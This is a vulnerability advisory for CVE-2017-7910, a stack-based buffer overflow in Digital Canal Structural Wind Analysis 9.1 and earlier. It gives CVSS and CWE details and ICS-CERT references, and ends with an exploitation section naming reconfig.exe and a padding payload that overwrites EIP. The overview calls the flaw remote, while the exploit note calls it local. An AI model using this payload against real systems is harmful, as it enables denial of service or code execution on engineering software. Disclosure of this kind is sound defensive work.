Digital Canal Structural Wind Analysis 9.1 Buffer Overflow

`Vendor: Digital Canal Structural  
Equipment: Wind Analysis  
Vulnerability: Stack-Based Buffer Overflow  
Advisory URL:  
https://ipositivesecurity.com/2017/06/15/ics-digital-canal-structural-wind-analysis-stack-buffer-overflow/  
  
ICS-CERT Advisory  
https://ics-cert.us-cert.gov/advisories/ICSA-17-157-02  
  
------------------------  
AFFECTED PRODUCTS  
------------------------  
  
The following versions of Wind Analysis, a structural engineering software  
platform, are affected:  
  
Wind Analysis versions 9.1 and prior.  
  
------------------------  
IMPACT  
------------------------  
  
Successful exploitation of this vulnerability could cause the device that  
the attacker is accessing to become unavailable, resulting in a denial of  
service.  
  
------------------------  
VULNERABILITY OVERVIEW  
------------------------  
  
STACK-BASED BUFFER OVERFLOW CWE-121  
<https://cwe.mitre.org/data/definitions/121.html>  
  
An attacker may be able to run arbitrary code by remotely exploiting an  
executable to perform a denial-of-service attack.  
  
CVE-2017-7910  
<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-7910> has been  
assigned to this vulnerability. A CVSS v3 base score of 7.5 has been  
assigned; the CVSS vector string is (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H  
<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H>  
).  
  
------------------------  
Exploitation  
------------------------  
Note: This is a local exploit, not remote.  
  
Vulnerable application  
reconfig.exe  
  
Exploit -> EIP overwrite  
C:\dcc\wind9> reconfig.exe <payload>  
  
Payload  
aAa*576 + aBa*4 + aCa*420  
  
+++++  
  
  
`